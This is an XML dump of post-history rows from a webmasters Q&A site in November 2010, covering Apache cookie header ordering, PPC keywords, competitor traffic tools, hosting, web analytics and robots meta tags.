  <row Id="10434" PostHistoryTypeId="2" PostId="5240" RevisionGUID="e7b38013-e691-4d78-924c-723c46c2d99c" CreationDate="2010-11-09T17:24:57.763" UserId="1064" Text="You could [read the values of the cookies into ENV variables][1], unset the headers using [mod_headers RequestHeader directives][2], and then set the headers again.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.askapache.com/htaccess/htaccess-fresh.html#modrewrite4&#xD;&#xA;  [2]: http://httpd.apache.org/docs/2.0/mod/mod_headers.html#requestheader" />
  <row Id="10435" PostHistoryTypeId="2" PostId="5241" RevisionGUID="5d6fbba1-a01c-49c4-952b-ddcddce02365" CreationDate="2010-11-09T17:29:17.407" UserId="3123" Text="I am helping to set up an online cigar web site.  However, it has become a real pain to take payments online since tobacco is considered a &quot;high-risk&quot; item and nobody will provide a merchant account to process the payments.  It looks like there are companies that specialize in high-risk merchant accounts.  I was wondering if anybody could recommend a high-risk merchant account and payment processing provider?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="10436" PostHistoryTypeId="1" PostId="5241" RevisionGUID="5d6fbba1-a01c-49c4-952b-ddcddce02365" CreationDate="2010-11-09T17:29:17.407" UserId="3123" Text="What are some reputable merchant account providers for high risk payment web sites?" />
  <row Id="10437" PostHistoryTypeId="3" PostId="5241" RevisionGUID="5d6fbba1-a01c-49c4-952b-ddcddce02365" CreationDate="2010-11-09T17:29:17.407" UserId="3123" Text="&lt;payments&gt;&lt;payment-gateway&gt;" />
  <row Id="10438" PostHistoryTypeId="2" PostId="5242" RevisionGUID="c5133254-4494-4615-b0eb-def4cf12b557" CreationDate="2010-11-09T17:29:52.337" UserId="3120" Text="Caveat up front: **I do not know Drupal.**&#xD;&#xA;&#xD;&#xA;However, taking a quick look at the [URI][1] supplied, I noticed the following [CSS][2] references:&#xD;&#xA;&#xD;&#xA;    &lt;style type=&quot;text/css&quot; media=&quot;all&quot;&gt;@import &quot;/sites/all/modules/cck/content.css&quot;;&lt;/style&gt;&#xD;&#xA;    style type=&quot;text/css&quot; media=&quot;all&quot;&gt;@import &quot;/sites/all/modules/cck/fieldgroup.css&quot;;&lt;/style&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;A quick google, and it seems the developers are using the following two modules in that Drupal installation:&#xD;&#xA;&#xD;&#xA; - [Fieldgroup][3]&#xD;&#xA; - [Fieldgroup Tabs][4]&#xD;&#xA;&#xD;&#xA;Both of which seem related to the [Drupal Content Construction Kit][5].&#xD;&#xA;&#xD;&#xA;As usual, [YMMV][6] and [HTH][7].&#xD;&#xA;&#xD;&#xA;:)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Uniform_Resource_Identifier&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Cascading_Style_Sheets&#xD;&#xA;  [3]: http://drupal.org/project/fieldgroup-&#xD;&#xA;  [4]: http://drupal.org/project/cck_fieldgroup_tabs&#xD;&#xA;  [5]: http://drupal.org/project/cck&#xD;&#xA;  [6]: http://www.urbandictionary.com/define.php?term=YMMV&#xD;&#xA;  [7]: http://www.urbandictionary.com/define.php?term=HTH" />
  <row Id="10439" PostHistoryTypeId="2" PostId="5243" RevisionGUID="25a6bcfe-68e7-47ec-a1c5-cdc408e91467" CreationDate="2010-11-09T17:31:21.087" UserId="2593" Text="try alert pay, moneybookers, bluepay, or digital gold currency" />
  <row Id="10440" PostHistoryTypeId="2" PostId="5244" RevisionGUID="892bda6c-ff2e-4733-a154-4047404b9b91" CreationDate="2010-11-09T17:44:36.440" UserId="2593" Text="If I have a list of 100 keywords that are candidates for a PPC campaign (my list is actually 1000+).  What is the best approach to narrowing this down to the top 5-10 keywords I should start with?&#xD;&#xA;&#xD;&#xA;The website isn't created yet, but will be up in January.&#xD;&#xA;" />
  <row Id="10441" PostHistoryTypeId="1" PostId="5244" RevisionGUID="892bda6c-ff2e-4733-a154-4047404b9b91" CreationDate="2010-11-09T17:44:36.440" UserId="2593" Text="Narrowing down my large keyword list for new PPC campaign" />
  <row Id="10442" PostHistoryTypeId="3" PostId="5244" RevisionGUID="892bda6c-ff2e-4733-a154-4047404b9b91" CreationDate="2010-11-09T17:44:36.440" UserId="2593" Text="&lt;seo&gt;&lt;search-engines&gt;&lt;keywords&gt;&lt;sem&gt;&lt;ppc&gt;" />
  <row Id="10443" PostHistoryTypeId="2" PostId="5245" RevisionGUID="051eff89-5d2e-4115-a442-a84a8b5766cc" CreationDate="2010-11-09T17:56:38.007" UserId="1064" Text="For PPC, I would rank terms in the following order:&#xD;&#xA;&#xD;&#xA;1. Most specific&#xD;&#xA;2. Highest traffic&#xD;&#xA;3. Lowest competition&#xD;&#xA;&#xD;&#xA;This should leave you with the terms which are most likely to convert and get the greatest number of qualified searches without excessive cost.&#xD;&#xA;&#xD;&#xA;If you are using the Adwords bid tool and organizing your exported terms on a spreadsheet, it may be easiest to create a &quot;PPC Value&quot; field composed of something like (your subjective 1 to 10 specificity rating * 100) + (estimated searches / 500) + (1.0 - competition value * 100) and rank in descending order on PPC Value." />
  <row Id="10444" PostHistoryTypeId="2" PostId="5246" RevisionGUID="661e23f8-fa9c-4391-bffa-da5598dcca30" CreationDate="2010-11-09T18:09:36.327" UserId="2593" Text="I'm trying to figure out how/where a website gets its traffic.  What is the best approach to estimating this?&#xD;&#xA;&#xD;&#xA;Here is the site in question:  [Beach][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.beachbunnyswimwear.com&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;My thought is to look at their top keywords from the meta tag, plug that into google keyword analysis tool to see how much traffic is generally brought to that site, and try to estimate how much of that traffic results in clicks (perhaps by using estimated PPC performance for that keyword using traffic estimation tool by google).  What do you think about this?&#xD;&#xA;&#xD;&#xA;But that would just cover traffic from google.  How about traffic from other sites like yahoo, bing, etc, etc..twitter, facebook, other links from other sites... how does one estimate this without spending days and days?  There has to be an app or easier way.  Any thoughts?  THanks.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="10445" PostHistoryTypeId="1" PostId="5246" RevisionGUID="661e23f8-fa9c-4391-bffa-da5598dcca30" CreationDate="2010-11-09T18:09:36.327" UserId="2593" Text="Find out where my competitors are getting their traffic?" />
  <row Id="10446" PostHistoryTypeId="3" PostId="5246" RevisionGUID="661e23f8-fa9c-4391-bffa-da5598dcca30" CreationDate="2010-11-09T18:09:36.327" UserId="2593" Text="&lt;seo&gt;&lt;traffic&gt;&lt;keywords&gt;&lt;sem&gt;&lt;competitors&gt;" />
  <row Id="10447" PostHistoryTypeId="5" PostId="5246" RevisionGUID="625ee6c1-144c-4ca9-b1d0-9496fca38f0b" CreationDate="2010-11-09T18:16:55.460" UserId="2593" Comment="added 78 characters in body; edited title" Text="I'm trying to figure out how/where a website gets its traffic.  How are they successful with bringing in traffic?  Via Organic, PPC, other?   What is the best approach to estimating this?&#xD;&#xA;&#xD;&#xA;Here is the site in question:  [Beach][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.beachbunnyswimwear.com&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;My thought is to look at their top keywords from the meta tag, plug that into google keyword analysis tool to see how much traffic is generally brought to that site, and try to estimate how much of that traffic results in clicks (perhaps by using estimated PPC performance for that keyword using traffic estimation tool by google).  What do you think about this?&#xD;&#xA;&#xD;&#xA;But that would just cover traffic from google.  How about traffic from other sites like yahoo, bing, etc, etc..twitter, facebook, other links from other sites... how does one estimate this without spending days and days?  There has to be an app or easier way.  Any thoughts?  THanks.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="10448" PostHistoryTypeId="4" PostId="5246" RevisionGUID="625ee6c1-144c-4ca9-b1d0-9496fca38f0b" CreationDate="2010-11-09T18:16:55.460" UserId="2593" Comment="added 78 characters in body; edited title" Text="Estimating where my competitor is getting most of their traffic from?  Organic, PPC, or other?" />
  <row Id="10449" PostHistoryTypeId="2" PostId="5247" RevisionGUID="b02792c1-56bd-49ab-8be2-a15f09b02527" CreationDate="2010-11-09T18:38:05.083" UserId="2593" Text="Look into DKI adsense. That might give you a clue.&#xD;&#xA;&#xD;&#xA;You can try to write a script that will pull the user input from your database, sort it for common words and then modify the keyword list on adsense yourself every week to keep ads relevant.  That's if adsense doesn't already have something to accommodate dynamic content-keyword changes.  HTH" />
  <row Id="10450" PostHistoryTypeId="2" PostId="5248" RevisionGUID="f46a80a3-02ea-40a5-a66b-651f36958168" CreationDate="2010-11-09T19:00:15.983" UserId="2593" Text="I would err on the side of being generous, while maintaining your necessary margins.  You will get more business that way." />
  <row Id="10451" PostHistoryTypeId="5" PostId="5240" RevisionGUID="8b44c235-f9e8-49a3-af95-105a894af98b" CreationDate="2010-11-09T19:05:19.560" UserId="1064" Comment="Added full code sample." Text="You could [read the values of the cookies into ENV variables][1], unset the headers using [mod_headers RequestHeader directives][2], and then set the headers again.&#xD;&#xA;&#xD;&#xA;**Update:** Solution for reading cookie values into ENV vars and then manipulating headers to control Set-Cookie header order.&#xD;&#xA;&#xD;&#xA;    &lt;IfModule mod_rewrite.c&gt;&#xD;&#xA;      RewriteEngine on&#xD;&#xA;      &#xD;&#xA;      # Read cookie1 into ENV:COOKIE1&#xD;&#xA;      RewriteCond %{HTTP_COOKIE} cookie1=([^;]+) [NC]&#xD;&#xA;      RewriteRule (.*) - [E=COOKIE1:%1]&#xD;&#xA;      &#xD;&#xA;      # Read cookie2 into ENV:COOKIE2&#xD;&#xA;      RewriteCond %{HTTP_COOKIE} cookie2=([^;]+) [NC]&#xD;&#xA;      RewriteRule (.*) - [E=COOKIE2:%1]&#xD;&#xA;      &#xD;&#xA;    &lt;/IfModule&gt;&#xD;&#xA;    &#xD;&#xA;    &lt;IfModule mod_headers.c&gt;&#xD;&#xA;      Header set Set-Cookie &quot;cookie1=%{COOKIE1}e; path=/;&quot; env=COOKIE1&#xD;&#xA;      Header set Set-Cookie &quot;cookie2=%{COOKIE2}e; path=/;&quot; env=COOKIE2&#xD;&#xA;    &lt;/IfModule&gt;&#xD;&#xA;&#xD;&#xA;Tested and working on my configuration (you can experiment by swapping the `Header set Set-Cookie` directives).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.askapache.com/htaccess/htaccess-fresh.html#modrewrite4&#xD;&#xA;  [2]: http://httpd.apache.org/docs/2.0/mod/mod_headers.html#requestheader" />
  <row Id="10452" PostHistoryTypeId="2" PostId="5249" RevisionGUID="9aa8d3bb-a606-41b0-a467-f4f51adb6cfe" CreationDate="2010-11-09T19:07:00.860" UserId="2593" Text="I have a website that is build with cold fusion.  Thus the server needs to be micrsoft windows not linux.  What are the best shared hosting server providers?  &#xD;&#xA;&#xD;&#xA;I love webfaction because they never overload and give good service and its catered to developers - but its linux only.  Thanks for help.&#xD;&#xA;&#xD;&#xA;I don't want to spend the money for a dedicated or VPS. " />
  <row Id="10453" PostHistoryTypeId="1" PostId="5249" RevisionGUID="9aa8d3bb-a606-41b0-a467-f4f51adb6cfe" CreationDate="2010-11-09T19:07:00.860" UserId="2593" Text="Looking for good shared hosting companies that offer Microsoft Windows OS" />
  <row Id="10454" PostHistoryTypeId="3" PostId="5249" RevisionGUID="9aa8d3bb-a606-41b0-a467-f4f51adb6cfe" CreationDate="2010-11-09T19:07:00.860" UserId="2593" Text="&lt;web-hosting&gt;&lt;shared-hosting&gt;&lt;microsoft&gt;" />
  <row Id="10455" PostHistoryTypeId="2" PostId="5250" RevisionGUID="4ad12f49-65d5-41a5-8984-f9cfa2b238b5" CreationDate="2010-11-09T19:07:04.813" UserId="1953" Text="Semrush is a tool that estimates search traffic, (both PPC and Organic) compete.com estimates total traffic and shows top referring sources (IE twitter Facebook etc.) these are just estimates but they seem to be the closest to accurate of any similar tools I've seen." />
  <row Id="10458" PostHistoryTypeId="2" PostId="5253" RevisionGUID="74089fcf-8b3b-49f2-a3c6-686ec6d4bc6c" CreationDate="2010-11-09T19:53:31.247" UserId="138" Text="There's an app that already does this called [skyfire][1].&#xD;&#xA;&#xD;&#xA;For example, on the iPhone, pulls out requests to flash video files and converts them server-side into HTML5 and re-embeds them into the page.&#xD;&#xA;&#xD;&#xA;I haven't tried it, as its reviews are a bit rubbish at the moment (supposedly only works on certain websites), but its a proof of concept that it can be done.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.skyfire.com/" />
  <row Id="10459" PostHistoryTypeId="5" PostId="5244" RevisionGUID="dfd1d01e-a6de-4ee9-9890-1ab22458332f" CreationDate="2010-11-09T20:10:34.263" UserId="1757" Comment="consolidate question and comment" Text="If I have a list of 100 keywords that are candidates for a PPC campaign (my list is actually 1000+).  What is the best approach to narrowing this down to the top 5-10 keywords I should start with?&#xD;&#xA;&#xD;&#xA;I'm also wondering if my top chosen keywords for PPC campaign should be my main keywords for SEO site optimization for organic traffic. I also have another question on this site asking: [How does one estimate where a competitor is getting most of their traffic from][1]? Thanks.&#xD;&#xA;&#xD;&#xA;The website isn't created yet, but will be up in January.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: /questions/5246/estimating-where-my-competitor-is-getting-most-of-their-traffic-from-organic-p" />
  <row Id="10463" PostHistoryTypeId="2" PostId="5255" RevisionGUID="75585221-c143-4451-935e-5fd4bbf3d890" CreationDate="2010-11-09T21:02:42.580" UserId="480" Text="We own a *.co.uk* address and use an Internet hosting company that has made mistakes around *DNS* in the past. Our main site is hosted on *www.* and their reluctance to allow editing of *AAAA* records on-line means our naked domain does not resolve.&#xD;&#xA;&#xD;&#xA;Currently when we attempt to reach the naked version there is no entry for the browser to go to and it displays an unreachable page (*nslookup* just says Name: *name of domain* with no further entries such as an *IP* or *Canonical Name*).&#xD;&#xA;&#xD;&#xA;We recently added the relevant *TXT* records to verify us to view both the *www.* version and the naked version of the domain in *Google Webmaster Tools* (in anticipation of the requests to our Internet host coming to fruition).&#xD;&#xA;&#xD;&#xA;Imagine our shock when double checking the *Site configuration &gt; Crawler access* and finding a (admittedly failing) *robots.txt* with a dynamically generated *HTML* page (full of crude pop-up *JavaScript*) with references to 3 of our most prominent competitors.&#xD;&#xA;&#xD;&#xA;**What could cause this to happen?**&#xD;&#xA;&#xD;&#xA;As we are in the UK I am assuming some *DNS* server is serving Google bad information. We are going to contact the Internet hosting company to fix our *A* and *AAAA* records once and for all, then check that they work in the *US* (using something like *OpenDNS*). Should we be doing more though, for instance informing *Google* (through *Webmaster Tools*) that we are now aware there is something currently wrong with our naked domain?&#xD;&#xA;" />
  <row Id="10464" PostHistoryTypeId="1" PostId="5255" RevisionGUID="75585221-c143-4451-935e-5fd4bbf3d890" CreationDate="2010-11-09T21:02:42.580" UserId="480" Text="Weird entry for robots.txt on a Naked Domain in Google Webmaster Tools" />
  <row Id="10465" PostHistoryTypeId="3" PostId="5255" RevisionGUID="75585221-c143-4451-935e-5fd4bbf3d890" CreationDate="2010-11-09T21:02:42.580" UserId="480" Text="&lt;seo&gt;&lt;google-webmaster-tools&gt;&lt;dns&gt;&lt;dns-servers&gt;&lt;blackhat&gt;" />
  <row Id="10467" PostHistoryTypeId="2" PostId="5256" RevisionGUID="c9135475-a8b8-476e-981c-20a11be6fad5" CreationDate="2010-11-09T22:15:33.910" UserId="2049" Text="What are the **popular** web statistic scripts? I'm searching for popular web statistic scripts like [wusage][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.boutell.com/wusage/" />
  <row Id="10468" PostHistoryTypeId="1" PostId="5256" RevisionGUID="c9135475-a8b8-476e-981c-20a11be6fad5" CreationDate="2010-11-09T22:15:33.910" UserId="2049" Text="What are the most popular web statistic scripts?" />
  <row Id="10469" PostHistoryTypeId="3" PostId="5256" RevisionGUID="c9135475-a8b8-476e-981c-20a11be6fad5" CreationDate="2010-11-09T22:15:33.910" UserId="2049" Text="&lt;websites&gt;&lt;statistics&gt;" />
  <row Id="10470" PostHistoryTypeId="2" PostId="5257" RevisionGUID="941bd9b5-c1b3-45eb-acfc-7a3816a95beb" CreationDate="2010-11-09T22:19:11.813" UserId="745" Text="[Google Analytics][1] is far and above the most popular.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.google.com/analytics/" />
  <row Id="10471" PostHistoryTypeId="5" PostId="5256" RevisionGUID="e714b5e3-279b-45e7-95db-7101f91ae5be" CreationDate="2010-11-09T22:21:28.880" UserId="2049" Comment="added 18 characters in body; added 22 characters in body" Text="What are the **popular** web statistic scripts/web log analyzers? I'm searching for popular web statistic scripts like [wusage][1], WebStat or WebAlizer.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.boutell.com/wusage/" />
  <row Id="10472" PostHistoryTypeId="2" PostId="5258" RevisionGUID="f6c157df-06d0-419b-8e81-1067973604a8" CreationDate="2010-11-09T22:23:11.403" UserId="1757" Text="Try [Analog][1] or [Awstat][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.analog.cx/&#xD;&#xA;  [2]: http://awstats.sourceforge.net/" />
  <row Id="10473" PostHistoryTypeId="5" PostId="5258" RevisionGUID="d4fd57a9-10b0-4b08-b9ca-594139712da8" CreationDate="2010-11-10T00:23:18.650" UserId="1757" Comment="add Pion Core; added 43 characters in body" Text="Try [Analog][1] or [Awstat][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Another solution is [Pion Core][3]. This is the open source edition of the Pion analytics platform. However, it's more of a general-purpose analytics platform (which includes packet sniffing analytics), not just a log analyzer. It has log analyzing capabilities though.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.analog.cx/&#xD;&#xA;  [2]: http://awstats.sourceforge.net/&#xD;&#xA;  [3]: http://www.pion.org/projects/pion-platform" />
  <row Id="10474" PostHistoryTypeId="2" PostId="5259" RevisionGUID="b4c527e9-12b0-49b2-9ed7-ddc25f202913" CreationDate="2010-11-10T01:03:39.630" UserId="1206" Text="The BBC is [reporting](http://www.bbc.co.uk/news/technology-11720728) that domain registration will be changing next year.&#xD;&#xA;&#xD;&#xA;&gt; The .co&#xD;&#xA;&gt; landgrab could be one of the last&#xD;&#xA;&gt; before ICANN overhauls the way net&#xD;&#xA;&gt; addresses are assigned.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Next year the body is due to open up&#xD;&#xA;&gt; the system so that companies and&#xD;&#xA;&gt; individuals can register any name they&#xD;&#xA;&gt; want.&#xD;&#xA;&#xD;&#xA;I haven't heard anything about a change—is the BBC correct, and if so, what are the details?" />
  <row Id="10475" PostHistoryTypeId="1" PostId="5259" RevisionGUID="b4c527e9-12b0-49b2-9ed7-ddc25f202913" CreationDate="2010-11-10T01:03:39.630" UserId="1206" Text="Is ICANN planning any changes to domain registration soon?" />
  <row Id="10476" PostHistoryTypeId="3" PostId="5259" RevisionGUID="b4c527e9-12b0-49b2-9ed7-ddc25f202913" CreationDate="2010-11-10T01:03:39.630" UserId="1206" Text="&lt;domains&gt;" />
  <row Id="10477" PostHistoryTypeId="2" PostId="5260" RevisionGUID="1edcc916-97b0-471c-94d8-8e412437af83" CreationDate="2010-11-10T01:46:55.987" UserId="1064" Text="&gt; The expansion of the generic top-level&#xD;&#xA;&gt; domain (gTLD) space will allow for a&#xD;&#xA;&gt; greater degree of innovation and&#xD;&#xA;&gt; choice.&#xD;&#xA;&#xD;&#xA;[New gTLD Program (ICANN.org)][1]&#xD;&#xA;&#xD;&#xA;This program will anyone with enough money to open up a new [gTLD][2] - definitely big news (though it has been [in the works for a couple years][3] now).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.icann.org/en/topics/new-gtld-program.htm&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Generic_top-level_domain&#xD;&#xA;  [3]: http://www.crn.com.au/News/115066,icann-proposes-greater-top-level-domain-name-flexibility.aspx" />
  <row Id="10478" PostHistoryTypeId="2" PostId="5261" RevisionGUID="82c7d45f-9362-4e16-9596-752048497720" CreationDate="2010-11-10T01:48:05.843" UserId="576" Text="Also try SEOmoz's [Open Site Explorer][1]. It helps with the [following][2] -&#xD;&#xA;&#xD;&#xA;&gt;  - Investigating the link data of a competitor to determine where they're&#xD;&#xA;&gt; earning press/attention so you can&#xD;&#xA;&gt; reverse engineer their marketing&#xD;&#xA;&gt; efforts&#xD;&#xA;&gt;    &#xD;&#xA;&gt;  - Comparing link metrics between multiple sites to determine the level&#xD;&#xA;&gt; of competition / difficulty/importance&#xD;&#xA;&gt; of your own site in comparison&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.opensiteexplorer.org/&#xD;&#xA;  [2]: http://www.opensiteexplorer.org/About" />
  <row Id="10479" PostHistoryTypeId="5" PostId="5260" RevisionGUID="90f666fb-3c54-42f3-aed8-0cc6ce60d300" CreationDate="2010-11-10T01:54:27.567" UserId="1064" Comment="Was missing a word" Text="&gt; The expansion of the generic top-level&#xD;&#xA;&gt; domain (gTLD) space will allow for a&#xD;&#xA;&gt; greater degree of innovation and&#xD;&#xA;&gt; choice.&#xD;&#xA;&#xD;&#xA;[New gTLD Program (ICANN.org)][1]&#xD;&#xA;&#xD;&#xA;This program will let anyone with enough money (and a reasonable claim to their own gTLD) to open up a new [gTLD][2] - definitely big news (though it has been [in the works for a couple years][3] now).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.icann.org/en/topics/new-gtld-program.htm&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Generic_top-level_domain&#xD;&#xA;  [3]: http://www.crn.com.au/News/115066,icann-proposes-greater-top-level-domain-name-flexibility.aspx" />
  <row Id="10480" PostHistoryTypeId="2" PostId="5262" RevisionGUID="7c586201-7e5c-4cf6-879d-fb3ec099d589" CreationDate="2010-11-10T03:51:54.473" UserDisplayName="delete" Text="If I have a page which I want to allow Google to crawl to find links but not display in search results, is there any way to do that?&#xD;&#xA;" />
  <row Id="10481" PostHistoryTypeId="1" PostId="5262" RevisionGUID="7c586201-7e5c-4cf6-879d-fb3ec099d589" CreationDate="2010-11-10T03:51:54.473" UserDisplayName="delete" Text="How to let Google read but don't display results from page" />
  <row Id="10482" PostHistoryTypeId="3" PostId="5262" RevisionGUID="7c586201-7e5c-4cf6-879d-fb3ec099d589" CreationDate="2010-11-10T03:51:54.473" UserDisplayName="delete" Text="&lt;google&gt;" />
  <row Id="10483" PostHistoryTypeId="2" PostId="5263" RevisionGUID="43ae83bc-a368-4df1-a6e8-d4ca5fc92a1a" CreationDate="2010-11-10T04:08:21.787" UserId="2379" Text="3 ways come to mind.&#xD;&#xA;&#xD;&#xA;1. If you use google webmaster tools you could go through that interface and ask google to remove the index from pages it has already indexed.    &#xD;&#xA;&#xD;&#xA;2. You could modify your robots.txt file to disallow google from accessing specific pages on your site.&#xD;&#xA;&#xD;&#xA;3. If you want google not to index certain sections of your site then you would use the google appliance googleoff googleon tags in your html.  &#xD;&#xA;http://www.geekzilla.co.uk/ViewC8614968-56ED-4729-9C12-F01677DAC412.htm. &#xD;&#xA;&#xD;&#xA;They work with google's spider in addition to google's hardware search appliance that not many people own.&#xD;&#xA;&#xD;&#xA;Best of luck. &#xD;&#xA;&#xD;&#xA;" />
  <row Id="10484" PostHistoryTypeId="2" PostId="5264" RevisionGUID="dbdfcec2-84cd-494f-86a3-56cc8922c7fb" CreationDate="2010-11-10T04:10:38.243" UserId="2379" Text="I thought webtrends was the big boys in this market. Remember they became a part of NetIQ then split off agian?&#xD;&#xA;&#xD;&#xA;Most people now use a hosted service such as GA, CrazyEgg.com, or GetClicky.com  Its a lot more convenient for someone in management to access these reports, then to pay for a licence of software to install on your hardware.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="10485" PostHistoryTypeId="2" PostId="5265" RevisionGUID="18f70f0e-a5cf-4fc9-b1eb-44db06dc9ea9" CreationDate="2010-11-10T05:43:47.700" UserId="2044" Text="I have recently analysed my website with pagespeed addon on firebug. It suggested me to set expiration on CSS, JS and image files.&#xD;&#xA;&#xD;&#xA;I am wondering how do i do this?" />
  <row Id="10486" PostHistoryTypeId="1" PostId="5265" RevisionGUID="18f70f0e-a5cf-4fc9-b1eb-44db06dc9ea9" CreationDate="2010-11-10T05:43:47.700" UserId="2044" Text="How do i set expiration on CSS, JS and Images" />
  <row Id="10487" PostHistoryTypeId="3" PostId="5265" RevisionGUID="18f70f0e-a5cf-4fc9-b1eb-44db06dc9ea9" CreationDate="2010-11-10T05:43:47.700" UserId="2044" Text="&lt;css&gt;&lt;javascript&gt;&lt;cache&gt;&lt;page-speed&gt;" />
  <row Id="10488" PostHistoryTypeId="2" PostId="5266" RevisionGUID="3b6cb5fb-3380-42aa-b70d-48950788c3da" CreationDate="2010-11-10T07:49:54.563" UserId="1955" Text="It depend from the host and the way you server these things.&#xD;&#xA;Option 1) if you control the server make the apache to add expiration headers in the response&#xD;&#xA;Option 2) if you do not control the web server, or you server the images/js/css/etc you can set these headers from the script that server them&#xD;&#xA;&#xD;&#xA;Have in mind that these hints are recommendable but not absolute truth. They are more to save you a bandwidth than to speed up your website . So if you have a low traffic to your site do not worry too much about this." />
  <row Id="10489" PostHistoryTypeId="5" PostId="5231" RevisionGUID="2fda1696-39ec-45bc-b4d3-a6d0a31a0f9d" CreationDate="2010-11-10T07:50:43.180" UserId="3117" Comment="added 193 characters in body" Text="We have an application that cares about the order of cookie headers. It shouldn't, since this isn't mandated by the standards and indeed we're getting the headers in various different orders&#xD;&#xA;&#xD;&#xA;So we would like to rewrite the headers in Apache so that the cookie headers always appear in a specific order. Is there any way of doing this?&#xD;&#xA;&#xD;&#xA;An ideal solution would be specifically about cookie headers, but something that lets us mess with the header order more generally would do too.&#xD;&#xA;&#xD;&#xA;EDIT: Turns out this may be a red herring and it's actually a problem with the format of the cookie: line produced by the embedded system (sometimes). But this is still useful stuff to know&#xD;&#xA;" />
  <row Id="10491" PostHistoryTypeId="2" PostId="5268" RevisionGUID="42f3e991-138b-436a-a540-45798f818adf" CreationDate="2010-11-10T08:32:09.877" UserId="1089" Text="I've got a google webmasters tool account with a website I help look after, they've employed the services of an SEO/SEM company* who have asked to add google/microsoft/yahoo webmasters tools accounts&#xD;&#xA;&#xD;&#xA;I don't want to give them access to my account (its tied in with other websites I have on webmasters tools) so my question is it ok/possible to have multiple webmaster tools accounts on a website?&#xD;&#xA;&#xD;&#xA;*The company are trustworthy, they've been great to deal with." />
  <row Id="10492" PostHistoryTypeId="1" PostId="5268" RevisionGUID="42f3e991-138b-436a-a540-45798f818adf" CreationDate="2010-11-10T08:32:09.877" UserId="1089" Text="Multiple webmaster tools accounts on website" />
  <row Id="10493" PostHistoryTypeId="3" PostId="5268" RevisionGUID="42f3e991-138b-436a-a540-45798f818adf" CreationDate="2010-11-10T08:32:09.877" UserId="1089" Text="&lt;webmaster-tools&gt;" />
  <row Id="10494" PostHistoryTypeId="5" PostId="5152" RevisionGUID="723f2f0f-49f8-4491-8cd0-94fa6ae062da" CreationDate="2010-11-10T09:35:05.383" UserId="879" Comment="typo, clarification" Text="Go to admin/build/menu-customize/navigation and disable the &quot;Create content&quot; item.&#xD;&#xA;&#xD;&#xA;**Edit:** (reflecting on comment)&#xD;&#xA;&#xD;&#xA;If you want a menu/menu item to be available only for certain users, disable the general menu as above and create a new menu. Configure the block such that it is limited to privileged users only (in the block properties)." />
  <row Id="10495" PostHistoryTypeId="2" PostId="5269" RevisionGUID="09cc7705-7115-4ea0-8b8d-d933952918a4" CreationDate="2010-11-10T09:54:47.123" UserId="3128" Text="I would like some cheap/free web analytic software to be used on my windows server (Server 2008). urchin seems to be way expensive. please provide me some good recommendations.&#xD;&#xA;" />
  <row Id="10496" PostHistoryTypeId="1" PostId="5269" RevisionGUID="09cc7705-7115-4ea0-8b8d-d933952918a4" CreationDate="2010-11-10T09:54:47.123" UserId="3128" Text="Self hosted Web Analaytics like urchin" />
  <row Id="10497" PostHistoryTypeId="3" PostId="5269" RevisionGUID="09cc7705-7115-4ea0-8b8d-d933952918a4" CreationDate="2010-11-10T09:54:47.123" UserId="3128" Text="&lt;analytics&gt;&lt;iis7&gt;&lt;website-analytics-tools&gt;" />
  <row Id="10498" PostHistoryTypeId="2" PostId="5270" RevisionGUID="0da81ad5-0a59-47aa-a0d2-3483ba46640b" CreationDate="2010-11-10T10:09:15.160" UserId="2713" Text="I suggest that you serve that page with a meta tag, which says &quot;noindex, follow&quot;:&#xD;&#xA;&#xD;&#xA;&amp;lt;meta name=&quot;robots&quot; content=&quot;**noindex, follow**&quot; /&amp;gt;&#xD;&#xA;&#xD;&#xA;This means for google what you've been searching for.&#xD;&#xA;Cheers,&#xD;&#xA;&#xD;&#xA;Adam" />
  <row Id="10501" PostHistoryTypeId="2" PostId="5272" RevisionGUID="b49f70cd-523a-4868-aa54-44c56f6b69f4" CreationDate="2010-11-10T11:03:55.847" UserId="1647" Text="Yes, you can. A site can have multiple owners. You don't need to give access to your account, each owner can have its own account and verify it against the site.&#xD;&#xA;&#xD;&#xA;See [Multiple Users][1].&#xD;&#xA;&#xD;&#xA;&gt; A site can have more than one verified&#xD;&#xA;&gt; owner, and you can add and remove&#xD;&#xA;&gt; owners easily using the Manage&#xD;&#xA;&gt; Verification page. (Note: To add a&#xD;&#xA;&gt; person as a user, that person must&#xD;&#xA;&gt; have a valid Google Account—for&#xD;&#xA;&gt; example, a Gmail account.) These&#xD;&#xA;&gt; owners will have all the same rights&#xD;&#xA;&gt; as the original owner, including the&#xD;&#xA;&gt; ability to add and remove owners.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/answer.py?answer=44227&amp;hl=en" />
